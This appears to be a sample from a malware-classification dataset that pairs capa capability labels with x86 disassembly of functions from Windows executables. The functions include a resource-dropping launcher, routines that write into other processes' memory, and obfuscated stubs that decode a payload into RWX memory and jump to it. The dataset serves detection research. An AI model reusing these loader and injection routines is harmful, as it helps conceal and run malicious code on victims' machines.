joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Create process on windows
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x422004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x420], edx
push eax
mov edi, ecx
push 0
mov dword [ebp - 0x41c], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x401220
nop
cmp word [ebp + eax*2 - 0x20c], 0x2e
je 0x401052
sub eax, 1
jne 0x401040
jmp 0x401069
add eax, eax
cmp eax, 0x208
jae 0x40122f
xor ecx, ecx
mov word [ebp + eax - 0x20c], cx
push ebx
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat_s]
lea eax, [ebp - 0x20c]
push esi
push 0xffffffffffffffff
push str.64.exe
push 0x104
push eax
call ebx
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x401127
push 0x41b2e0
push 0x65
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x401127
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
mov dword [ebp - 0x418], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
push 0x80
push 2
push 0
push 0
mov edi, eax
lea eax, [ebp - 0x20c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 0x424]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x418]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat_s]
mov edi, dword [ebp - 0x41c]
push 0xffffffffffffffff
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
mov esi, 1
add esp, 0x10
cmp edi, esi
jle 0x401186
nop
push 0xffffffffffffffff
push 0x41b300
lea eax, [ebp - 0x414]
push 0x104
push eax
call ebx
mov eax, dword [ebp - 0x420]
push 0xffffffffffffffff
push dword [eax + esi*4]
lea eax, [ebp - 0x414]
push 0x104
push eax
call ebx
inc esi
add esp, 0x20
cmp esi, edi
jl 0x401150
lea eax, [ebp - 0x434]
mov dword [ebp - 0x478], 0x44
push eax
lea eax, [ebp - 0x478]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0x4000020
push 1
push 0
push 0
lea eax, [ebp - 0x414]
movlpd qword [ebp - 0x474], xmm0
push eax
lea eax, [ebp - 0x20c]
movlpd qword [ebp - 0x46c], xmm0
push eax
movlpd qword [ebp - 0x464], xmm0
movlpd qword [ebp - 0x45c], xmm0
movlpd qword [ebp - 0x454], xmm0
movlpd qword [ebp - 0x44c], xmm0
movlpd qword [ebp - 0x444], xmm0
movlpd qword [ebp - 0x43c], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40121e
push dword [ebp - 0x434]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [ebp - 0x430]
call ebx
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00419265
mov esp, ebp
pop ebp
ret
call fcn.00419398
int3
Function at 0x4038d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, edx
add ecx, 0xeaf1c18
mov dword [ebp - 8], eax
movzx eax, ax
imul eax, eax, 0x41c
push ebx
push esi
push edi
add eax, ecx
test byte [0x44780c], 1
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [eax]
mov edx, dword [ecx + 0x780]
lea ebx, [ecx + 0x730]
mov esi, dword [ecx + 0x72c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], esi
mov edi, dword [edx + 0x6f0]
je 0x403942
push esi
lea eax, [edx + 0x180]
push eax
mov eax, dword [ecx + 0x784]
add eax, 0xc
push eax
push 0x41bac4
call fcn.00401530
mov eax, dword [ebp - 4]
add esp, 0x10
mov eax, dword [eax]
lea ecx, [ebp + 8]
push ecx
push 0x40
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test byte [0x44780c], 1
mov dword [ebp - 0x10], eax
je 0x40397a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp + 8]
push dword [ebp - 0x10]
push dword [ebp - 8]
push 0x41b920
call fcn.00401530
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
push edi
push ebx
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [0x44780c]
test cl, 1
je 0x4039db
push 0
push dword [ebp - 0x10]
push eax
push dword [ebp - 8]
push 0x41b988
call fcn.00401530
mov ecx, dword [0x44780c]
add esp, 0x14
test cl, 1
je 0x4039db
xor esi, esi
test edi, edi
jle 0x4039d8
nop
movzx eax, byte [esi + ebx]
push eax
push esi
push 0x41bae4
call fcn.00401530
inc esi
add esp, 0xc
cmp esi, edi
jl 0x4039c0
mov esi, dword [ebp - 0xc]
push edi
push esi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test byte [0x44780c], 1
je 0x4039fd
push eax
push 0x41baf4
call fcn.00401530
add esp, 8
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
mov eax, dword [ebp - 4]
push edi
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test byte [0x44780c], 1
mov esi, eax
je 0x403a37
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp + 8]
push esi
push dword [ebp - 8]
push 0x41b920
call fcn.00401530
add esp, 0x14
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403a40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [0x422004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, edx
add ecx, 0xeaf1c18
mov edx, dword [ebp + 8]
movzx eax, di
imul eax, eax, 0x41c
mov dword [ebp - 0x70], edx
mov ebx, dword [edx + 0x72c]
add ecx, eax
test byte [0x44780c], 1
mov dword [ebp - 0x64], ecx
mov eax, dword [ecx]
mov dword [ebp - 0x74], eax
lea eax, [edx + 0x730]
mov dword [ebp - 0x6c], eax
mov eax, dword [edx + 0x780]
mov esi, dword [eax + 0x6f0]
je 0x403ac3
push ebx
add eax, 0x180
push eax
mov eax, dword [edx + 0x784]
add eax, 0xc
push eax
push edi
push 0x41bb10
call fcn.00401530
mov edx, dword [ebp - 0x70]
add esp, 0x14
mov ecx, dword [ebp - 0x64]
mov eax, dword [edx + 0x780]
mov eax, dword [eax + 0x720]
and eax, 0x10000
or eax, 0
je 0x403afe
test byte [0x44780c], 1
je 0x403c2e
push 0x41bb34
call fcn.00401530
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00419265
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x68]
mov dword [edx + 0xc], 1
push eax
push 0x40
push esi
push ebx
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test byte [0x44780c], 1
mov dword [ebp - 0x60], eax
je 0x403b3c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x68]
push dword [ebp - 0x60]
push edi
push 0x41b920
call fcn.00401530
add esp, 0x14
push esi
push 0
push dword [ebp - 0x6c]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0x64]
push esi
push dword [ebp - 0x6c]
push ebx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test byte [0x44780c], 1
je 0x403b7b
push 0
push dword [ebp - 0x60]
push eax
push edi
push 0x41b958
call fcn.00401530
add esp, 0x14
test esi, esi
jle 0x403b8e
push esi
lea eax, [ebp - 0x5c]
push 0xffffffffffffff90
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x780]
mov eax, dword [eax + 0x6f8]
mov byte [ebp + eax - 0x5c], 0xcc
lea eax, [ebp - 0x60]
push eax
push esi
lea eax, [ebp - 0x5c]
push eax
mov eax, dword [ebp - 0x64]
push ebx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test byte [0x44780c], 1
je 0x403bd4
push 0
push dword [ebp - 0x60]
push eax
push edi
push 0x41b988
call fcn.00401530
add esp, 0x14
push esi
push ebx
push dword [ebp - 0x74]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test byte [0x44780c], 1
je 0x403bf6
push eax
push 0x41baf4
call fcn.00401530
add esp, 8
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
push esi
push ebx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test byte [0x44780c], 1
mov esi, eax
je 0x403c2e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x68]
push esi
push edi
push 0x41b920
call fcn.00401530
add esp, 0x14
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00419265
mov esp, ebp
pop ebp
ret
Function at 0x403c40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
lea edx, [ecx + 0xeaf1c18]
mov ecx, dword [0x44780c]
movzx eax, di
imul eax, eax, 0x41c
add edx, eax
mov dword [ebp - 8], edx
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov eax, dword [ebx + 0x780]
mov esi, dword [eax + 0x700]
add esi, dword [ebx + 0x72c]
test cl, 1
je 0x403cb6
push dword [ebx + 0x72c]
add eax, 0x180
push eax
mov eax, dword [ebx + 0x784]
add eax, 0xc
push eax
push 0x41bb50
call fcn.00401530
mov eax, dword [ebx + 0x780]
add esp, 0x10
mov ecx, dword [0x44780c]
mov edx, dword [ebp - 8]
cmp dword [eax + 0x700], 0
jne 0x403ce5
cmp dword [eax + 0x704], 0
jne 0x403ce5
test cl, 1
je 0x403dfb
push 0x41bb70
call fcn.00401530
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp + 8]
mov dword [ebx + 0x10], 1
push eax
push 0x40
push 4
push esi
push dword [edx]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test byte [0x44780c], 1
mov dword [ebp - 0xc], eax
je 0x403d24
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp + 8]
push dword [ebp - 0xc]
push edi
push 0x41b920
call fcn.00401530
add esp, 0x14
lea eax, [ebp - 0xc]
mov dword [ebx + 0x14], 0
push eax
mov eax, dword [ebp - 8]
add ebx, 0x14
push 4
push ebx
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test byte [0x44780c], 1
je 0x403d5e
push 0
push dword [ebp - 0xc]
push eax
push edi
push 0x41b958
call fcn.00401530
add esp, 0x14
mov ax, word [ebx]
mov word [ebp - 3], ax
mov al, byte [ebx + 2]
mov ebx, dword [ebp - 8]
mov byte [ebp - 1], al
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 4]
mov byte [ebp - 4], 0xcc
push eax
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test byte [0x44780c], 1
je 0x403da2
push 0
push dword [ebp - 0xc]
push eax
push edi
push 0x41b988
call fcn.00401530
add esp, 0x14
push 4
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test byte [0x44780c], 1
je 0x403dc5
push eax
push 0x41baf4
call fcn.00401530
add esp, 8
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
push 4
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test byte [0x44780c], 1
mov esi, eax
je 0x403dfb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp + 8]
push esi
push edi
push 0x41b920
call fcn.00401530
add esp, 0x14
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404220
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, edx
push 0x400
push 0
mov esi, ecx
lea eax, [edi + 0x60]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp + 0xc]
push eax
push 0x400
lea eax, [edi + 0x60]
push eax
push dword [ebp + 0x24]
movzx eax, bx
imul eax, eax, 0x41c
push dword [eax + esi + 0xeaf1c18]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [0x44780c]
test cl, 1
je 0x4042fe
push 0
push dword [ebp + 0xc]
push eax
push ebx
push 0x41b958
call fcn.00401530
mov ecx, dword [0x44780c]
add esp, 0x14
test cl, 1
je 0x4042fe
xor ebx, ebx
mov esi, 0x41b478
nop dword [eax]
test bl, 0xf
jne 0x4042c5
mov eax, dword [ebp + 0x24]
xor ecx, ecx
cdq
mov esi, ebx
add esi, eax
adc ecx, edx
push ecx
push esi
push 0x41b460
call fcn.00401530
add esp, 0xc
mov esi, 0x41b478
movzx eax, byte [ebx + edi + 0x60]
inc ebx
push eax
push 0x41b468
call fcn.00401530
add esp, 8
test bl, 0xf
jne 0x4042e5
mov eax, 0x41b470
jmp 0x4042f0
test bl, 7
mov eax, 0x41b474
cmovne eax, esi
push eax
call fcn.00401530
add esp, 4
cmp ebx, 4
jb 0x4042a0
mov eax, dword [edi + 0x784]
mov esi, 0x14c
movzx ecx, word [eax + 0x218]
mov eax, dword [edi + 0x60]
mov dword [edi + 0x58], eax
mov dword [edi + 0x5c], 0
mov eax, dword [edi + 0x64]
mov dword [edi + 0x18], eax
mov dword [edi + 0x1c], 0
mov eax, dword [edi + 0x68]
mov dword [edi + 0x20], eax
mov dword [edi + 0x24], 0
mov eax, dword [edi + 0x6c]
mov dword [edi + 0x28], eax
mov dword [edi + 0x2c], 0
mov eax, dword [edi + 0x70]
mov dword [edi + 0x30], eax
mov dword [edi + 0x34], 0
mov eax, dword [edi + 0x74]
mov dword [edi + 0x38], eax
mov dword [edi + 0x3c], 0
mov eax, dword [edi + 0x78]
mov dword [edi + 0x40], eax
mov dword [edi + 0x44], 0
mov eax, dword [edi + 0x7c]
mov dword [edi + 0x48], eax
mov dword [edi + 0x4c], 0
mov eax, dword [edi + 0x80]
mov dword [edi + 0x50], eax
mov dword [edi + 0x54], 0
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x407010
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20c
mov eax, dword [0x422004]
xor eax, esp
mov dword [esp + 0x208], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
test byte [esi + 8], 1
je 0x407043
mov eax, dword [esi + 4]
push 0xffffffffffffffff
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.004014e0
mov ebx, eax
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 0xc]
lea eax, [esp + 0x1c]
push 0xffffffffffffffff
push 0x200
push eax
push dword [ebx + 4]
push dword [ebx]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___stdio_common_vsnprintf_s]
mov edi, eax
add esp, 0x20
or eax, 0xffffffff
test edi, edi
cmovs edi, eax
cmp edi, eax
jne 0x4070ed
push 0x2800
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov edi, eax
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 0xc]
push 0xffffffffffffffff
push 0x2800
push edi
push dword [ebx + 4]
push dword [ebx]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___stdio_common_vsnprintf_s]
mov ebx, eax
add esp, 0x20
test ebx, ebx
mov eax, 0xffffffff
cmovs ebx, eax
cmp ebx, eax
je 0x4070e1
push 2
push 0
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x10]
push eax
push ebx
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
jmp 0x407118
push 2
push 0
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x10]
push eax
push edi
lea eax, [esp + 0x1c]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
test byte [esi + 8], 1
je 0x407129
mov eax, dword [esi + 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [esp + 0x214]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00419265
mov esp, ebp
pop ebp
ret
Function at 0x4190f0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, 0x5a4d
push ebx
mov ebx, ecx
push esi
push edi
cmp ax, word [ebx]
jne 0x419259
cmp word [ebx + 0x18], 0x40
jb 0x419259
mov edx, dword [ebx + 0x3c]
cmp dword [edx + ebx], 0x4550
jne 0x419259
mov esi, dword [edx + ebx + 0x78]
mov dword [ebp - 0x18], esi
test esi, esi
je 0x419259
mov eax, dword [esi + ebx + 0x10]
mov ecx, dword [ebp + 0xc]
mov edi, dword [esi + ebx + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [esi + ebx + 0x20]
add eax, ebx
mov dword [ebp - 4], edi
mov dword [ebp - 8], eax
mov eax, dword [esi + ebx + 0x24]
add eax, ebx
mov dword [ebp - 0x20], eax
mov eax, dword [esi + ebx + 0x1c]
add eax, ebx
mov dword [ebp - 0x14], eax
test ecx, ecx
je 0x419174
mov eax, dword [ecx]
mov dword [ecx], edi
cmp eax, edi
jge 0x419174
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + ebx + 0x18]
xor edi, edi
mov dword [ebp - 0xc], eax
mov eax, dword [edx + ebx + 0x7c]
mov edx, dword [ebp - 4]
add eax, esi
mov dword [ebp - 0x1c], eax
test edx, edx
jle 0x4191f2
mov edx, dword [ebp + 8]
lea esi, [edx + 0x210]
test edx, edx
je 0x4191a8
mov eax, dword [ebp - 0x10]
add eax, edi
mov dword [esi], ebx
mov word [esi - 0x108], ax
mov eax, dword [ebp - 0x14]
mov ecx, 0x41b7df
mov eax, dword [eax + edi*4]
cmp eax, dword [ebp - 0x18]
jb 0x4191c2
cmp eax, dword [ebp - 0x1c]
ja 0x4191c2
lea ecx, [eax + ebx]
xor eax, eax
test edx, edx
je 0x4191e3
mov edx, esi
mov dword [esi - 0x10c], eax
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 0x107], al
test al, al
jne 0x4191d0
mov edx, dword [ebp + 8]
inc edi
add esi, 0x214
cmp edi, dword [ebp - 4]
jl 0x419196
mov edx, dword [ebp - 4]
xor esi, esi
cmp dword [ebp - 0xc], esi
jle 0x419259
mov edi, dword [ebp - 8]
nop dword [eax]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
test eax, eax
je 0x419211
movzx ecx, word [eax + esi*2]
cmp ecx, edx
jge 0x419259
cmp dword [ebp - 8], 0
mov eax, 0x41b7df
je 0x419224
test edi, edi
je 0x419224
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp + 8]
test edx, edx
je 0x41924d
movzx ecx, cx
imul ecx, ecx, 0x214
sub ecx, eax
add edx, ecx
nop dword [eax + eax]
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x419240
mov edx, dword [ebp - 4]
inc esi
add edi, 4
cmp esi, dword [ebp - 0xc]
jl 0x419200
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001f870
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1001f87f
pop dword [ebp - 0x48]
mov eax, 0x1001f87f
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x3d2a9
push 0
mov eax, 0xe0c74169
add eax, 0x2f3c1f73
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x3af3
xor edi, edi
add edi, eax
mov edx, 0x19ef89a9
sub edx, 0x9ebcba9
add edx, dword [ebp - 0x48]
mov esi, 0xdd0dc4
add dword [ebp - 4], edi
mov ebx, dword [edx]
add dword [ebp - 0x28], 0xf412a5a6
xor ebx, esi
mov dword [ebp - 0x34], 0xf4406624
mov dword [edi], ebx
mov dword [ebp - 0x20], 0xe375eac7
add edi, 0x9342f49f
add edi, 0x6cbd0b65
add edx, 0xc3cf8630
sub edx, 0xc3cf862c
loop 0x1001f8cf
add eax, 0xde9f
mov ebx, eax
add eax, 0xe1dbaf3b
sub eax, 0xe1dbaf36
mov ecx, 0xa840e49a
sub ecx, 0x9840e49a
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x100289d0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x100330b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10035b0c]
test dword [ebp + 8], eax
je 0x10028a7a
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.1001f870
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10035b08]
test eax, eax
je 0x10028a6d
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.1001f870
mov eax, dword [0x100330ac]
pop ecx
pop ecx
test eax, eax
jle 0x10028a7a
push esi
mov esi, dword [0x10035b10]
push edi
mov edi, dword [0x10035b14]
cdq
push edx
push eax
push edi
push esi
call fcn.10029420
add esi, 1
mov dword [0x10035b10], esi
adc edi, 0
or eax, edx
mov dword [0x10035b14], edi
pop edi
pop esi
jne 0x10028a7a
push dword [0x10035b08]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x10028a7a
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028d50
leave
ret
Function at 0x409380
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40938f
pop dword [ebp - 0x20]
mov eax, 0x2d9c6d05
sub eax, 0x2d5bd976
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x1cdc6ce2
add dword [ebp - 0x30], 0x3175d869
mov dword [ebp - 0x2c], 0xf367ac44
sub dword [ebp - 0x2c], 0xc1345fff
mov dword [ebp - 0x28], 0x9eb05806
add dword [ebp - 0x28], 0xad9bec28
mov dword [ebp - 0x24], 0x8c10551a
add dword [ebp - 0x24], 0x73efaae6
lea eax, [ebp - 0x30]
push eax
mov eax, 0xc6451062
add eax, 0x39fcafee
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xb384e3f2
sub dword [ebp - 0x30], 0x3f127a9c
mov dword [ebp - 0x2c], 0xd7c6899c
sub dword [ebp - 0x2c], 0x965a2827
mov dword [ebp - 0x28], 0xb73a83bd
sub dword [ebp - 0x28], 0x53cb1751
mov dword [ebp - 0x24], 0x54146cb4
sub dword [ebp - 0x24], 0x54146cb4
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x4eef1ad5
sub eax, 0x4ead5a89
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x38c5e
push 0
call eax
mov ecx, 0x334eef9f
add ecx, 0xccb14d4f
mov edx, eax
mov ebx, 0x432a00
add ebx, dword [ebp - 0x20]
mov esi, 0x55c16f05
mov edi, dword [ebx]
sub dword [ebp - 0xc], 0x2c838648
sub edi, esi
mov dword [edx], edi
xor dword [ebp - 0x1c], 0x75b47bf4
add edx, 0x8c250c64
add edx, 0x73daf3a0
add ebx, 0x86be1d88
sub ebx, 0x86be1d84
loop 0x4094a5
add eax, 0xe68b
mov ebx, eax
add eax, 0xba7b1b0d
add eax, 0x4584e4f8
mov ecx, 0xe1cd9be2
add ecx, 0x1e72641e
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x4098e8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424070]
jne 0x4098f2
repz ret
jmp fcn.004114ed
Function at 0x10002490
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101c4893
mov eax, dword fs:[0]
push eax
sub esp, 0x220
mov eax, dword [0x10264190]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x1b8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0
je 0x100024e1
jmp 0x100025e2
push 0
mov ecx, dword [ebp + 8]
call fcn.100053a0
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0
jne 0x10002506
jmp 0x100025e2
lea ecx, [ebp - 0x28]
call fcn.10039910
mov dword [ebp - 4], 0
mov dword [ebp - 0x1bc], 0
jmp 0x10002530
mov edx, dword [ebp - 0x1c0]
mov eax, dword [edx + 0xc]
mov ecx, dword [ebp - 0x1bc]
cmp dword [eax + ecx*4], 0
je 0x100025d3
mov edx, dword [ebp - 0x1c0]
mov eax, dword [edx + 0xc]
mov ecx, dword [ebp - 0x1bc]
mov edx, dword [eax + ecx*4]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x28]
call fcn.10018af0
push 0
lea ecx, [ebp - 0x28]
call fcn.100397b0
push eax
lea ecx, [ebp - 0x22c]
push ecx
mov ecx, 0x10270344
call fcn.10017230
mov dword [ebp - 0x1c4], eax
mov edx, dword [ebp - 0x1c4]
mov dword [ebp - 0x1c8], edx
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x1c8]
push eax
mov ecx, dword [ebp + 8]
call fcn.10005130
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x22c]
call fcn.10004e60
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.100397d0
jmp 0x100025e2
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.100397d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1019110d
mov esp, ebp
pop ebp
ret 4